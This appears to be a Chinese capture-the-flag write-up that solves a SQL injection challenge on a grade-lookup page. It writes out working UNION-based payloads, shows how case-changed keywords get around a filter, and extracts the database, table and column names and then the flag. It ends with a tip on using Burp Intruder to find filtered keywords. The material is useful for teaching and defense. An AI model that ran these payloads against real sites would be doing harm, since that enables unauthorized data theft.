解题思路
进入网页,发现是一个成绩查询界面。随便点击一个链接进入。
注意搜索栏,发现有GET参数 id=TMP0919 ,且界面有回显,考虑使用SQL注入中的联合注入 。
确定参数闭合形式
先尝试单引号闭合
发现页面没有任何回显,说明数据库查询指令被提前结束,初步判断闭合方式为单引号。我们再尝试双引号闭合:
回显 id not exists ,说明带双引号的参数被数据库代入查询了,进一步确定闭合形式为单引号。
安全意识不足的网站的数据库查询命令一般是这样的:
select 字段名 from 表名 where id='' LIMIT0,1;
我们已知id的闭合方式为单引号,所以当我们输入 TMP0919’ 后,这个命令内部是这样的:
select 字段名 from 表名 where id='TMP0919'' LIMIT0,1;
我们输入的单引号与前面的单引号匹配,导致多出一个单引号没法被解析,数据库报错,不会返回数据库内的数据。
这时我们再将后面的语句注释掉,让后面的语句失效。这里使用 --+ 的注释方式。
即输入 id=TMP0919’ --+ 。 代码就变成了下面这样:
select 字段名 from 表名 where id='TMP0919' --+' LIMIT0,1;
由于–+后面的代码会被注释掉,界面再次返回数据库内的数据。
确定字段数
接下来我们确定当前页面匹配的数据表的字段数,以便于后续在当前页面回显我们想要的数据。
这里使用 order by 字段数 代码。当我们输入字段数小于等于数据表字段数时,回显正常;当大于数据表字段数时,报错。我们通过是否报错判断字段数。
但是此处我们将字段数修改为任意数字都回显为 no! 。
这个回显明显不是数据库本身的报错,所以我们可以判断这里是网站代码对我们输入的参数进行了过滤,过滤掉了一些特殊字符。
所以我们将代码修改为 OrDer by 5 进行大小写绕过。
成功回显,且在字段数为6时报错,为5时回显正常。说明字段数为5。
确定各处回显所对应的字段数
这里使用联合注入 union select 1,2,3,4,5 来查询各处回显所对应的字段数。
这里注意 1,2,…,n 的数字数量一定要与字段数相同,这样就会在相应的位置显示相应的数字。
此处 select 被过滤,修改为 Select 绕过过滤。
因此此处的payload为:
?id=1TMP0919' union Select 1,2,3,4,5--+
注意这里在TMP0919前面加上了1,变成1TMP0919,这样数据库查不到1TMP0919这个数据,就不会回显id=TMP0919的数据在界面。如果不修改,界面依旧是id=TMP0919的数据,而每个位置对应的字段不会被显示。
查询库名、表名、字段名
我们将需要的数据回显在字段1上,于是payload分别为:
查询库名
?id=1TMP0919' union Select database(),2,3,4,5 --+
查询表名
?id=1TMP0919' union Select (Select group_concat(table_name) from infOrmation_schema.tables wHere table_schema='ctf'),2,3,4,5 --+
查询字段名
?id=1TMP0919' union Select (Select group_concat(column_name) from infOrmation_schema.columns wHere table_name='here_is_flag'),2,3,4,5 --+
查询得到库名为ctf
查询表名发现information和where被过滤,修改为 infOrmation 和 wHere
得到表名:
flag明显在here_is_flag中,所以我们查询这个表的字段名:
得到字段名 flag
查询flag字段的数据
payload如下:
?id=1TMP0919' union Select (Select flag from here_is_flag),2,3,4,5 --+
得到flag{e7aa67d2-e11d-41ee-a4a3-5656bcd65139}.
本题得解。
一些拓展
手工测试被过滤字段固然可行,但是如果可以利用相关字典,通过BurpSuite进行爆破,直接得到被过滤字段和未被过滤字段,便可以节省精力,缩短解题时间。
先创建一个相关字典:
order
by
union
select
group
concat
database
table
column
name
information
schema
where
利用burpsuite抓包,丢入intruder模块爆破:
立刻得出了被过滤的四个字段。